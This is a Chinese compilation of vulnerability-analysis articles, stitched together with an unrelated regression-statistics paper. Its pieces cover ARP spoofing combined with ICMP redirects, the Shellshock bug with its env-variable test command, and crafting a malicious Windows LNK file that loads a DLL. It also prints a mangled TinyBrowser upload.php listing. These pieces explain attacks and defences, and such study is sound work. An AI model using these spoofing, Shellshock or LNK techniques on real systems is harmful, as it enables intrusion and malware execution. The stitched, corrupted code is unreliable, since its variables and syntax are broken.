漏洞分析(共12篇)
漏洞分析 篇1
摘要:近年来, ARP欺骗攻击已经成为危害网络正常稳定运行的主要问题。详述了ARP协议的工作原理, 剖析了ARP协议的漏洞所在之处, 给出了相应的防范措施。
关键词:ARP协议,ARP协议漏洞,ARP攻击
ARP (Address Resolution Protocol) 协议是实现将IP地址转换成MAC地址的一种网络协议。近年来, 网络中的非法入侵者利用ARP协议设计上的缺陷, 通过篡改IP与MAC之间的对应关系, 非法获取并替换他人的MAC, 以达到非法监听和获取他人在网络上所传输的信息的目的。要想有效地防范ARP攻击, 首先就必须掌握ARP协议的基本知识, 洞悉ARP协议的漏洞之处, 了解ARP攻击的原理。
1 ARP协议概述
众所周知, IP地址是不能直接用来进行通信的, 因为IP地址只是主机在抽象的网络层中的地址。要想把网络层中传送的数据报交给目的主机, 还要传到数据链路层转变成硬件地址后才能发送到实际的网络上。由于IP地址是32位的, 而硬件地址是48位的, 因此它们之间不存在简单的映射关系。此外, 在一个网络上可能经常会有新的主机加入进来, 或撤走一些主机, 更换网卡也会使主机的硬件地址改变。可见在主机中应存放一个从IP地址到硬件地址的映射表, 并且这个映射表还必须能够经常更新。将一台计算机的IP地址解析成等价的MAC地址的过程叫做地址解析。ARP地址解析协议就是用来确定这些映象的协议。ARP协议的标准是在RFC826中定义的。这个协议起初是为DIX的10M以太网设计的, 现在已允许用在其它类型的网络上。它负责从第三层的网络地址映射到第二层的硬件地址。
在以太网上解析IP地址的时候, ARP请求和应答的数据包帧的格式如表1所示。
其中, 硬件类型字段指明了发送方想知道的硬件接口类型, 以太网的值为1。协议类型字段指明了发送方提供的高层协议类型, IP为Ox0800。它的值与包含IP数据报的以太网数据帧中的类型字段的值相同。硬件地址长度和协议长度分别指明了硬件地址和高层协议地址的长度, 以字节为单位。操作字段指出4种操作类型, 它们是ARP请求 (值为1) 、ARP应答 (值为2) 、RARP请求 (值为3) 和RARP应答 (值为4) 。接下来的4个字段是发送端的MAC地址、发送端的IP地址、目的端的MAC地址和目的端的IP地址。
对于一个ARP请求来说, 除目的端MAC地址外的所有其他的字段都有填充值。当系统收到一份目的端为本机的ARP请求报文后, 它就把MAC地址填进去, 然后用两个目的端地址分别替换两个发送端地址, 并把操作字段置为2, 最后把它发送回去。
2 ARP协议工作原理
2.1 同网段内ARP工作原理
同网段内ARP协议的工作原理的流程图如图1所示:
由流程图很容易看出, 同网段内ARP协议的解析过程为: (1) 初始化ARP请求, 对照该IP地址的网络号, 若确定为同网段内的IP地址, 则可直接在ARP缓存表中查找对应的MAC地址。如果不能在缓存表中找到映射, 则建立一个ARP请求, 该请求中包含有源主机IP和MAC地址的信息, 之后通过广播, 使所有网段内的主机能接受并处理该请求。 (2) 同网段内的每台主机收到广播后判断请求中的IP地址是否与自己的相符。当目标主机断定请求中的IP与自身的IP相符时, 直接发送一个ARP答复, 将自身的MAC地址传递给源主机, 同时将发送端的MAC地址和IP地址添加到自己的ARP列表中, 如果ARP表中已经存在该IP的信息, 则将其覆盖, 然后给源主机发送一个ARP响应数据包, 告诉对方自己是它需要查找的MAC地址, 源主机收到应答后便建立起了通信关系。
2.2 跨网段ARP工作原理
跨网段ARP协议的工作原理的流程图如图2所示:
由流程图很容易看出, 跨网段ARP协议的解析过程较同网段内增加了一个步骤, 即, 如果目的主机和源主机地址不在同一个网段内, 源主机发出的IP数据包会送到交换机的默认网关, 而默认网关的MAC地址同样可以通过ARP协议获取。经过ARP协议解析IP地址之后, 主机会在缓存中保存IP地址和MAC地址的映射条目, 此后再进行数据交换时只要从缓存中读取映射条目即可。
3 ARP协议漏洞
尽管ARP是数据链路层中一个高效的协议, 但是由于其设计初衷是为了方便数据传输, 设计的前提是在网络绝对安全和信任的情况下进行工作, 因此ARP协议存在一些漏洞:
(1) 一台主机的IP地址和MAC地址映像在另一台主机的ARP缓存表中后, 它就会被当作是可信任的计算机。而该主机并没有提供检验IP地址到MAC地址对应表真实性的机制, 使得大多数主机保存了通过ARP协议得到的映射, 不考虑它的真实性、有效性, 也不维护一致性, 所以ARP协议可能把几个IP地址映射到同一物理地址上。
(2) 主机地址映射表是基于高速缓存、动态更新的。由于正常的主机间MAC地址刷新都是有时间限制的, 这样假冒者如果在下次更新之前成功地修改了被攻击计算机上的地址缓存, 就可以进行假冒或者拒绝服务攻击了。
(3) ARP请求是以广播的方式进行。由于主机不知道通信对方的MAC地址, 需要进行ARP广播请求。这样, 攻击者就可以伪装ARP应答, 与广播者真正要通信的计算机进行竞争。攻击者还可以确定子网内计算机什么时候会刷新MAC地址缓存, 以确保最大时间限度地进行假冒。
(4) 任何ARP响应都是合法的, ARP应答无需认证。由于ARP协议是无状态的, ARP协议并未规定主机在未受到查询时就不能发送ARP应答包, 任何主机即使在没有请求的时候也可以做出应答, 而且许多系统会接受未请求的ARP响应, 并用其信息篡改其缓存。
4 ARP攻击
在使用TCP/IP协议的网络中, 一个IP包发往哪里、如何转发是根据路由表的信息确定走向的, 但是, 当IP包到达某网段后, 哪台机器响应这个IP包却是靠该IP包中所包含的MAC地址来识别。也就是说, 只有机器的MAC地址和该IP包中的MAC地址相同的机器才会应答这个IP包。
4.1 同一网段的ARP攻击
如图4所示, 假设三台主机:
A:IP地址210.68.29.136硬件地址00-11-22-AA-AA-AA
B:IP地址210.68.29.137硬件地址00-11-22-BB-BB-BB
C:IP地址210.68.29.138硬件地址00-11-22-CC-CC-CC
假设某入侵者想用主机B入侵主机A, 可是这台主机上安装有防火墙。通过收集资料他知道这台主机A的防火墙只对主机C有信任关系。如果主机A和主机C之间的信任关系是建立在硬件地址的基础上, 这个时候需要用ARP攻击的手段让主机A把自己的ARP缓存中的关于210.68.29.138映射的MAC地址改为主机B的MAC地址。可以设计一个arp_reply的响应包, 发送给主机A。由于协议并没有规定必须在接收到arp_echo后才可以发送响应包, 因此, 设计的包中可以指定ARP包中的源IP、目标IP、源MAC地址, 目标MAC地址, 这就可以通过虚假的ARP响应包来修改主机A上的动态ARP缓存达到攻击的目的。步骤如下: (1) 先研究210.68.29.138这台主机, 直到发现这台主机的漏洞, 然后使主机C瘫痪掉, 暂时停止工作; (2) 这段时间里, 入侵者把自己的IP改成210.68.29.138, 再用工具发一个源IP地址为210.68.29.138, 源MAC地址为00-11-22-BB-BB-BB的包给主机A, 要求主机A更新自己的arp转换表; (3) 主机更新了arp表中关于主机C的IP->MAC对应关系, 防火墙失效了, 入侵者的IP变成合法的MAC地址, 从而实现攻击主机A。
显然这个攻击过程是发生在同一网段的主机之间的, 如果B和C处于不同网段的时候, 所给的方法将不起作用。
4.2 跨网段的ARP攻击
如图5所示, A、C位于同一网段而主机B位于另一网段, 它们的IP和MAC地址如下:
A:IP地址210.68.29.136硬件地址00-11-22-AA-AA-AA
B:IP地址210.68.30.137硬件地址00-11-22-BB-BB-BB
C:IP地址210.68.29.138硬件地址00-11-22-CC-CC-CC
把ARP攻击和ICMP重定向结合在一起就可以基本实现跨网段攻击的目的。ICMP重定向报文是ICMP控制报文中的一种。在特定的情况下, 当路由器检测到一台机器使用非优化路由的时候, 它会向该主机发送一个ICMP重定向报文, 请求主机改变路由。路由器也会把初始数据报向它的目的地转发。步骤如下: (1) 为了使自己发出的非法IP包能在网络上能够存活长久一点, 开始修改IP包的生存时间TTL为下面的过程中可能带来的问题做准备; (2) 寻找主机C的漏洞, 按照这个漏洞使主机C瘫痪掉。在该网络的主机找不到原来的210.68.29.138后, 将更新自己的ARP对应表, 于是他发送一个原IP地址为210.68.29.138, 硬件地址为00-11-22-BB-BB-BB的ARP响应包; (3) 这时每台主机都知道了一个新的MAC地址对应210.68.29.138, 一个ARP攻击完成了, 但是, 每台主机都只会在局域网中找这个地址而根本就不会把发送给210.68.29.138的IP包丢给路由, 因此, 还得构造一个ICMP的重定向广播; (4) 自己定制一个ICMP重定向包告诉网络中的主机:到210.68.29.138的路由最短路径不是局域网, 而是路由, 请主机重定向你们的路由路径, 把所有到210.68.29.138的IP包丢给路由; (5) 主机A接受这个合理的ICMP重定向, 于是修改自己的路由路径, 把对210.68.29.138的通讯都丢给路由器。于是, 入侵者可以在路由外收到来自路由内的主机的IP包了, 从而实现攻击主机A。
5 ARP攻击的防范
防范ARP攻击的措施有:
(1) 用网关监听网络。利用网关截取每一ARP数据包, 分析该数据包包头的源地址、目标地址和ARP数据包的协议地址是否匹配。
(2) 在用户端计算机上绑定交换机网关的IP和MAC地址。首先, 要求用户获得交换机网关的IP地址和MAC地址, 用户在dos提示符下执行arp-a命令。然后用命令“arp-s IP地址MAC地址”将交换机网关的MAC地址和网关的IP地址的绑定。
(3) 在核心交换机上绑定用户主机的IP地址和网卡的MAC地址, 同时在边缘交换机上将用户计算机网卡的MAC地址和交换机端口绑定为双重安全绑定方式。
(4) 对网络中传输的重要数据进行加密处理。由于加密后的数据的安全性已有所提高, 即使加密后数据在传输过程中被截获, 也将加大攻击方取得重要数据的时间成本。
(5) 设置ARP服务器。指定局域网内部的一台机器作为ARP服务器, 专门保存并且维护可信范围内的所有主机的IP地址与MAC地址映射记录。该服务器通过查阅自己的ARP缓存的静态记录并以被查询主机的名义响应局域网内部的ARP请求。同时设置局域网内部的其它主机只使用来自ARP服务器的ARP响应。
(6) 采用VLAN技术隔离端口。局域网的网络管理员可根据本单位网络的拓扑结构, 具体规划出若干个VLAN, 当管理员发现有非法用户在恶意利用ARP攻击网络, 或因合法用户受ARP病毒感染而影响网络时, 网络管理员可利用技术手段首先查找到该用户所在的交换机端口, 然后将该端口划一个单独的VLAN将该用户与其它用户进行物理隔离, 以避免对其它用户产生影响。
6 结束语
ARP是TCP/IP协议族中一个非常重要的协议, 它的作用是将一台计算机的IP地址解析成相应的MAC地址。由于其设计初衷是为了方便数据传输, 设计的前提是在网络绝对安全和信任的情况下进行工作, 因此, ARP协议存在一些漏洞。正是由于它存在这些漏洞, 导致入侵者可以利用它们进行ARP攻击。本文针对这一问题深刻剖析了ARP协议的漏洞之处, 并给出了一些防范措施。
参考文献
[1]David C Plummer.An Ethernet address resolution protocol[R].RFC 826, 1982.
[2]谢希仁.计算机网络[M].北京:电子工业出版社, 2003.
[3]陈伟斌, 薛芳, 任勤生.ARP欺骗攻击的整网解决方案研究[J].厦门大学学报 (自然科学版) , 2007 (2) .
[4]曹洪武.ARP欺骗入侵的检测与防范策略[J].塔里木大学学报, 2007 (2) .
漏洞分析 篇2
[via@ spiderlabs / 91ri.org]
★ KCFinder 2.2 文件上传漏洞漏洞预警
★ 导出管理员密码文件漏洞预警
★ dedecms任意地址跳转漏洞预警
★ CKXP网上书店注入漏洞漏洞预警
★ Phpcms 远程文件包含漏洞漏洞预警
★ 一个密码的沦陷漏洞预警
★ dedecms5.7sql注射漏洞利用 guestbook.php漏洞预警
★ 易思ESPCMS Cookie注入漏洞预警
★ FCKEditor FileUpload函数任意文件上传漏洞漏洞预警
破壳漏洞的分析与防范 篇3
关键词:破壳漏洞;Shell;Bash
破壳漏洞对应的CVE编号为CVE-2014-6271, 该漏洞是由法国的研究者最先发现的,此漏洞的影响范围包括大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。“破壳”是Bash(GNU Bourne Again Shell) 中出现的允许攻击者通过环境变量执行任意命令的漏洞,该漏洞可使攻击者在受影响的系统上执行任意代码,影响到与Bash交互的多种应用系统,包括Apache、OpenSSH、DHCP等。
1 漏洞原理
Shell是一个交互性命令解释器,shell独立于操作系统,这种设计让用户可以灵活选择适合自己的Shell。Shell可以在命令行键入命令,经过shell解释后传送给操作系统(内核)执行。
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
在Bash解释命令行指令时,可以通过输入一些代码来检测该系统中是否存在出破壳漏洞:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果系统存出该漏洞,会出现下图所示的执行结果:
图1 具有破壳漏洞的系统
上面的语句中env为一个系统命令,该命令让系统创建一个环境变量x='() { :;}; echo vulnerable'并且带着这个环境变量的值执行bash-c “echo this is a test”。第一行输出的“vulnerable”暴露了漏洞的存在,因为函数定义() { :;};之后的echo vulnerable指令本不该被执行却被执行。具体原因是由于bash在处理含有函数定义诸如”() { :;};”的环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行。实事上真正的漏洞利用与env命令无关,只要设法让系统接受一个含有”[函数定义]+[任意命令]”的环境变量赋值则可触发”[任意命令]”部分所表示的代码执行。
2 利用破壳漏洞绕过通过授权秘钥的OpenSSH验证
通常情况下用户通过SSH远程登陆系统是需要使用用户名与密码登陆,但还有一种方式是配置授权登陆密钥(RSA算法非对称加密),使得登陆时无需输入用户名与密码,相对于用户密码的验证方式,使用公钥验证登录是更佳的安全方法。
SSH实现无密码访问的应用非常广泛的,比如在linux主机高可用的集群节点上配置SSH 实现节点间用户的无密码访问,由于主机高可用程序需要在各节点间进行信息传递,所以必须实现所有节点两两之间能无密码访问。节点间的无密码访问是通过配置ssh 公钥认证来实现的。
在很多情况,内网里的SSH密钥认证登陆只是为了完成程序自动化登陆操作的任务,比如实现主机高可用节点间的无密码访问,“SSH shelltest@serverip命令” 就可以完成任务的情况,所以为了安全起见,管理员通常会限制SSH密钥认证登陆后的操作权限,一般常见的限制方式是限制命令执行,将需要执行的命令加入白名单,限制后的SSH无法登陆shell。
通过输入下面的命令可用成果绕过系统白名单执行任意命令。
Windows快捷方式漏洞分析 篇4
本文分析基于此漏洞传播的恶意软件的工作方式以及感染lnk病毒后的症状和解决方法,使得更多的用户认识该漏洞,减少此漏洞造成的危害。本文分为四部分,第一部分介绍lnk漏洞的背景;第二部分描述漏洞行为,包括感染该漏洞后的症状以及利用此漏洞病毒的传播方式;第三部部分分析漏洞原理;第四部分实验测试,设计实现了一个恶意的lnk文件来触发该漏洞,并对其绕过杀毒软件的能力进行了测试。
1 漏洞行为描述
lnk漏洞中毒的典型症状为系统运行缓慢、打开程序很久没有反应。网速的反应迟缓,如果所装的杀毒软件开启了实时监控,会不时弹出非法访问的提示,系统的各个盘符下莫名其妙出现autorun.inf和各种无规律的exe可执行文件。
lnk漏洞对传播者而言具有非常好的触发性,形象描述为“看一眼就中毒”,病毒传播者构造一个特殊的lnk文件和一个lnk调用的病毒文件。通过U盘、移动硬盘、数码存储卡复制传播这些文件,也可以将病毒文件打包在正常程序的压缩包中。病毒被复制或解压到目标位置,当用户使用资源管理器软件去访问这些文件夹时,不需要其它任何操作,病毒程序就会被立即执行。如果病毒保存在USB存储器上,对于多数启动了U盘自动运行功能的电脑,插入U盘的动作即可运行病毒。在局域网的共享文件夹中若存在这样的文件,正常电脑访问这些共享文件夹,就会立即中毒。也可以通过及时聊天工具,如QQ、MSN、UC等软件的聊天信息,或发送垃圾邮件的方式附带基于lnk漏洞的病毒文件进行传播。
2 漏洞的原理分析
2.1 lnk文件格式
为了方便用户操作,Windows操作系统中用户可以创建各类文件的快捷方式,快捷方式实质上只保存了打开该文件的路径,或称为链接(link)。其作用就是使用户在其它方便的地方打开该文件或程序双击程序的快捷方式,再由快捷方式启动相应的程序。快捷方式的扩展名为lnk,lnk文件多存在于桌面、开始菜单的各个程序组、任务栏的快速启动栏。lnk文件结构如表1。
表1为lnk文件整体结构,其中内容2至内容8在lnk文件中是可选项,即不是必须存在的,但是如果存在,则必须按照图1的顺序组织。出现漏洞的控制面板程序的快捷方式没有内容3到内容8,所以这里只介绍和lnk漏洞相关的文件头和shell Item Id List段。
(1)文件头:内容1为lnk文件的文件头,其偏移0x14处的值是重要的Flags,用来标识.lnk文件中有哪些可选属性,也就是哪些节是可选的,Flags的含义如表2。
(2)Shell Item Id List段:该段是可选结构,由文件头中偏移0x14位置处的bit值来决定,bit值为1时,表示该lnk文件包含该结构。如果存在该结构,偏移0x4c的位置的一个unsigned short int是Shell Item Id List结构的大小标识,后面紧跟一个SHITEMID结构,该结构体定义如下:
SHITEMID结构的第一个成员cb标识的是SHITEMID数据的大小,因为SHITEMID结构的第二个成员ab ID是一个指针,存储具体数据,大小不固定,其指向的第0项里的数据是不能修改的(通常为电脑的GUID),否则lnk文件无法运行。图1是用WinHex打开的控制面板程序上的“显示”快捷方式。
图1是一个控制面板程序的快捷方式,从偏移0x14处的值0x81,对照前面表2中每个bit位代表的含义可以看出该lnk文件没有表1所示的内容3至内容8。
2.2 漏洞工作原理
Windows操作系统为了在快捷方式显示对应的图标,会派发一个任务给Shell32.dll去完成快捷方式图标的解析工作。对于一般文件的快捷方式,它会解析这个lnk文件的内容8,即图标文件段,然后试图读取图标文件。但是对于没有图标文件段的控制面板程序(以CPL为后缀的文件),其快捷方式的偏移0x7A位置有一个值,这个值是系统图标的ID,系统默认有多个图标ID,图1中的9CFFFF是其中的一个。Shell32可以通过这个ID获得图标,具体解析控制面板程序快捷方式图标的过程如图2所示。
lnk漏洞的关键在于调用LoadLibrary函数,当偏移0x7A处的值为0时,也就是shell32无法通过此处的数值获得预设的图标,那么shell32就会调用Load Library函数来加载目标文件,即一个cpl文件(cpl文件是一种特殊的dll文件)来获取图标信息。lnk漏洞就是利用了这个解析机制的安全缺陷,攻击者恶意构造一个特殊的控制面板程序的lnk文件,使其0x7A处的偏移为0,需要加载的目标文件为攻击者构造的恶意dll文件,当shell32将这个恶意dll文件加载到内存中执行时,病毒获得执行。所以Windows在显示lnk文件并解析恶意构造的lnk文件时被触发恶意代码,造成“看一眼就中毒”的现象。
2.3 防范手段
为了不受lnk漏洞的影响,用户应该及时打上微软发布的补丁,对于无法及时打上补丁的用户,可以采用下面的一些临时防范方法:(1)不要打开未知或不可信任来源的带有lnk扩展名的文件或浏览其属性;(2)下载360safe、金山、瑞星、趋势科技、nod32等病毒专杀工具;(3)关闭快捷方式图标显示,不过这会让桌面变的很简陋。
3 实验测试
为了对上述的漏洞原理进行验证,我们实现了一个恶意lnk文件来呈现lnk漏洞被利用的过程。实验环境为Windows 7操作系统,使用的分析工具包括winhex、VS2008和ollydbg。
实验首先创建一个正常的“显示”lnk文件,步骤如下:到“控制面板”下面,右键点“显示”,点“创建快捷方式”,把快捷方式创建在桌面上。然后在桌面用WinHex打开“显示.lnk”文件,如上面图1所示。
实验第二步对该lnk文件进行修改,把偏移7A处的9C FF FF FF改成00 00 00 00,把后面的文件名C:WINDOWSsystem32desk.cpl改成C:box.dll(UNICODE格式)。保存文件,并把这个文件复制到任意目录下,当用户浏览该目录时,就会加载C:box.dll文件,图3为修改后的lnk文件。
lnk的目标文件存放在Shell Item Id List的SHITEMID结构里面,这个结构按照层来表示一个目标的,每一层就是前面讲述的一个SHITEMID结构。图3显示lnk文件中,第一层是
14 00代表长度,后面的是“控制面板”的GUID{21EC2020-3AEA-1069-A2DD-08002B30309D}。第三层就是后面长度为0x A2的目标文件,图3中显示的Shell Item Id List所指向的文件就是:我的电脑->控制面板->C:box.dll。
实验第三步是提供一个恶意的dll,把一个写好的box.dll放入C盘,我们的例子调用此dll文件就会弹出一个对话框,浏览lnk文件所在的快捷方式,系统就会加载这个box.dll。
图4是测试用的一个简单的dll程序代码,该dll文件有一个入口函数DllMain,当dll文件被载入内存后就会先执行Dll Main函数,所以把触发木马或病毒的程序放在DllMain适当的位置,当用户浏览快捷方式的目录时就会激活恶意代码。
实验结果如图5,当仅仅浏览快捷方式所在的目录时就会弹出一个hello的对话框,这也证实了前面对于漏洞的分析。
我们将测试用的lnk文件上传到VirusTotal上检测其绕过反病毒软件的能力,VirusTotal是一款免费提供对可疑文件进行分析Web服务,通过各种知名反病毒引擎,对所上传的文件进行检测,以判断文件是否被病毒,蠕虫,木马,以及各类恶意软件感染。
4 总结
Windows lnk漏洞不需要用户运行任何程序,仅仅浏览其所在目录就可触发,其影响范围比较广泛。随着微软发布了官方的补丁,加上众多安全软件对lnk病毒的查杀,预计这个漏洞和利用此漏洞的病毒可能很快会消失。分析该漏洞的本质,其利用了lnk文件的解析过程和dll文件装载过程的安全检查不够的缺陷,dll文件的安全装载并不是一个新问题,lnk漏洞只不过是发现了该缺陷的一个新应用场合,所以加强主动性防御才是根本性解决方法。
参考文献
[1]Windows快捷方式LNK文件自动执行文件漏洞.http://www.hackbase.com/news/2010-07-18/36546.html.
[2]windows lnk漏洞.http://news.mop.com/domestic/2076668.shtml.
漏洞分析 篇5
程序描述:
TinyBrowser特点 根据配置可以设置是否允许上传、删除、编辑等操作等操作权限
支持多个上传,而且显示上传进度
可以简单编辑图片,比如旋转
可以根据图片名和缩略图列表查看文件
支持FCKeditor编辑器
漏洞分析:
下面我们来看upload.php程序代码
1
2 require_once(config_tinybrowser.php);
3 // Set language
4 if(isset($tinybrowser[language]) && file_exists(langs/.$tinybrowser[language]..php))
5 {
6 require_once(langs/.$tinybrowser[language]..php);
7 }
8 else
9 {
10 require_once(langs/en.php); // Falls back to English
11 }
12 require_once(fns_tinybrowser.php);
13
14 // Check session, if it exists
15 if(session_id() != )
16 {
17 if(!isset($_SESSION[$tinybrowser[sessioncheck]]))
18 {
19 echo TB_DENIED;
20 exit;
21 }
22 }
23
24 if(!$tinybrowser[allowupload])
25 {
26 echo TB_UPDENIED;
27 exit;
28 }
29
30 // Assign get variables
31 $validtypes = array(image,media,file);
32 0now = ((isset($_GET[type]) && in_array($_GET[type],$validtypes)) ? $_GET[type] : image);
33 $foldernow = str_replace(array(../,..,./,.),,($tinybrowser[allowfolders] && isset($_REQUEST[folder]) ? urldecode($_REQUEST[folder]) : ));
34 $passfolder = &folder=.urlencode($foldernow);
35 $passfeid = (isset($_GET[feid]) && $_GET[feid]!= ? &feid=.$_GET[feid] : );
36 $passupfeid = (isset($_GET[feid]) && $_GET[feid]!= ? $_GET[feid] : );
37
38 // Assign upload path
39 $uploadpath = urlencode($tinybrowser[path][0now].$foldernow);
40
41 // Assign directory structure to array
42 $uploaddirs=array();
43 dirtree($uploaddirs,$tinybrowser[filetype][0now],$tinybrowser[docroot],$tinybrowser[path][0now]);
44
45 // determine file dialog file types
46 switch ($_GET[type])
47 {
48 case image:
49 $filestr = TB_TYPEIMG;
50 break;
51 case media:
52 $filestr = TB_TYPEMEDIA;
53 break;
54 case file:
55 $filestr = TB_TYPEFILE;
56 break;
57 }
58 $fileexts = str_replace(“,”,“;”,$tinybrowser[filetype][$_GET[type]]);
59 $filelist = $filestr. (.$tinybrowser[filetype][$_GET[type]].);
60
61 // Initalise alert array
62 $notify = array(
63 type =>array(),
64 message =>array()
65 );
66 $goodqty = (isset($_GET[goodfiles]) ? $_GET[goodfiles] : 0);
67 $badqty = (isset($_GET[badfiles]) ? $_GET[badfiles] : 0);
68 $dupqty = (isset($_GET[dupfiles]) ? $_GET[dupfiles] : 0);
69
70 if($goodqty>0)
71 {
72 $notify[type][]=success;
73 $notify[message][]=sprintf(TB_MSGUPGOOD, $goodqty);
74 }
75 if($badqty>0)
76 {
77 $notify[type][]=failure;
78 $notify[message][]=sprintf(TB_MSGUPBAD, $badqty);
79 }
80 if($dupqty>0)
81 {
82 $notify[type][]=failure;
83 $notify[message][]=sprintf(TB_MSGUPDUP, $dupqty);
84 }
85 if(isset($_GET[permerror]))
86 {
87 $notify[type][]=failure;
88 $notify[message][]=sprintf(TB_MSGUPFAIL, $tinybrowser[docroot].$tinybrowser[path][0now]);
89 }
90 ?>
91
92
93
94 TinyBrowser ::
95
96
97
98 if($passfeid == && $tinybrowser[integration]==tinymce)
99 {
100 ?>
101 }
102 else
103 {
104 ?>
105 }
106 ?>
107
108
109
114
115
116 var so = new SWFObject(“flexupload.swf”, “mymovie”, “100%”, “340”, “9”, “#ffffff”);
117 so.addVariable(“folder”, “
118 so.addVariable(”uptype“, ”
119 so.addVariable(“destid”, “
120 so.addVariable(”maxsize“, ”
121 so.addVariable(“sessid”, “
122 so.addVariable(”obfus“, ”
123 so.addVariable(“filenames”, “
124 so.addVariable(”extensions“, ”
125 so.addVariable(“filenamelbl”, “
126 so.addVariable(”sizelbl“, ”
127 so.addVariable(“typelbl”, “
128 so.addVariable(”progresslbl“, ”
129 so.addVariable(“browselbl”, “
130 so.addVariable(”removelbl“, ”
多元线性回归分析实例分析 篇6
关键词:MINITAB软件 多元线性回归 显著性 实例分析
中图分类号:O212 文献标识码:A 文章编号:1672-3791(2014)10(b)-0022-02
回归分析是数据分析中使用很多的一种方法。回归分析是定量的给出变量间的变化规律,它不仅提供变量间的回归方程,而且可以判断所建立回归方程的有效性。在方程有效性的前提下,可以用方程做预测和控制,并了解预测和控制的精度。多元回归分析预测法,是指通过对两个或两个以上的自变量与一个因变量的相关分析,建立预测模型进行预测的方法。当自变量与因变量之间存在线性关系时,称为多元线性回归分析。
MINITAB软件是现代质量管理统计的领导者,全球六西格玛实施的共同语言,它以无可比拟的强大功能和简易的可视化操作获得了广大质量学者和统计专家的青睐。MINITAB软件是为质量改善、教育和研究应用领域提供统计软件和服务,是质量管理和六西格玛实施软件工具,更是持续质量改进的良好工具软件。
1 多元线性回归分析的一般模型
多元线性回归分析的一般模型为:设是个自变量(解释变量),是因变量,多元线性回归模型的理论假设是
其中,是个未知参数,称为回归常数,称为回归系数,为随机误差。
2 MINITAB软件建立模型
下面通过一个实例来详细讲解,如何运用MINITAB软件进行多元线性回归。现抽取20个家庭调查资料的部分变量,数据见表1,试对父母身高与儿子身高进行回归分析。
使用MINITAB软件,输入表1中数据,选择指令“统计>回归>回归”,在出现界面输入相应的变量名;打开“图形”窗,选择“四合一”及在“残差与变量”中填入各自变量名称;打开“存储”窗,选择“残差”、“标准化残差”及“拟合值”,点击“确定”后,得到输出结果。
MINITAB输出结果:
回归方程:
儿子身高=-23.7+0.303父亲身高+0.880母亲身高+0.0593锻炼次数
S=1.11974 R-sq=96.33% R-sq(调整)=95.65%
回归方程拟合出来以后,我们要解决以下几个问题:(1)给出方程显著性检验,从总体上判定回归方程有效与否。(2)给出方程总效果好坏的度量。(3)在回归方程效果显著时,对各个回归系数进行显著性检验,将效应不显著的自变量删除,以优化模型,这点在多元回归中尤为重要。(4)残差诊断,检验数据是否符合回归的基本假定,检验整个回归模型与数据拟合的是否很好,可否进一步改进回归方程来优化现有模型。
3 MINITAB输出结果分析
如何判断整个回归方程是否有意义?就要进行回归方程显著性检验,也就是要检验下列问题:H0:模型无意义,H1模型有意义。本例(表3)ANOVA表中P =0<0.05,所以拒绝H0:模型无意义,接受H1模型有意义。说明在显著性水平a=0.05下,线性回归方程总效果是显著的。
如果实际观测值与拟合出来的回归线很接近,就说明回归线与数据拟合的很好,就可以说回归方程的总效果很好。(表2)我们通常用Rsq、Rsq(adj)、S作为回归方程总效果的度量,以此来比较几种回归方程效果的好坏。Rsq是回归平方和占离差平方和的比率,其数值越接近1代表模型拟合的越好。当然Rsq并不是回归模型拟合效果的最好度量指标,因为当多一个自变量加入模型时,不管这个自变量是否显著,回归平方和就会增大,Rsq也会增大,这样就看不出新增加的自变量是否有意义,这点在多元回归中更为明显。因此我们用Rsq(adj)去修正Rsq,以考虑总项数给模型带来的影响。Rsq(adj)≤Rsq两者数值越接近越好,另一个指标是残差标准差,它是从观察值与拟合回归线的平均偏离程度来度量的,也是回归模型中标准差σ的估计值。对于几个不同的回归方程的效果加以比较时,S是个最重要的指标,那个S最小,哪个回归方程就最小。
从本例输出结果看Rsq96.33%,Rsq(adj)=95.65%来看,两者很接近,S=1.11974比较小,模型还可以。
回归方程显著时,做回归系数显著性检验,一般假设H0:β=0,H1:β≠0,若P<0.05,则回归系数不为零,说明系数对应的自变量是显著的。当只有一个自变量时,回归方程显著性检验与回归系数检验是等价的,但是当自变量不止一个时,回归总效果显著不能排除某几个变量是无意义的。我们进行回归方程系数检验的目的,就是要找出是否有“滥竽充数”的自变量,把这些多余的自变量从方程中删除掉,以修正现有模型。
从本例输出结果看到三个自变量P值都小于0.05,故三个都为显著因子。
模型中,X1系数0.303表示:如果父亲比同一代人的平均身高多1cm,那么他的儿子将比儿子那一代人的平均身高多出0.303 cm;X2的系数解释也是如此;X3的系数表示参加体育锻炼的次数和身高之间存在正相关;常数项一般没有与它相对应的实际意义上的解释。
参考文献
[1]张海燕.基于多元线性回归模型的四川农村居民收入增长分析[J].统计观察,2010(13):88-90.
[2]孙雪飞.回归分析在房地产销售中的应用[J].科技咨询导报,2007(26):168-169.
漏洞分析 篇7
关键词:Shellshock漏洞,分析测试,研究
当前,计算机已经成为人们普遍使用的办公学习工具,为人们的日常的工作生活做出了巨大的贡献。随着计算机网络与网络通讯技术的快速发展,开放的网络环境为人们提供信息的交流更加的方便快捷,但是计算机在使用过程中也带来了各种各样的安全漏洞隐患,使得使用者的财产安全和个人隐私等泄露,造成严重威胁,并影响了计算机的日常使用,网络安全问题已经引起了人们的重点关注。网络安全问题归根结底是黑客和病毒是利用软件的安全漏洞渗入目标系统的,所以做好对计算机软件的安全漏洞研究,找到安全漏洞的问题所在,并进行漏洞修复,就可以抵御绝大部分的黑客和病毒的攻击。本文将通过分析计算机软件Shellshock漏洞,并采取一定的措施对策。
1 Bash软件认识
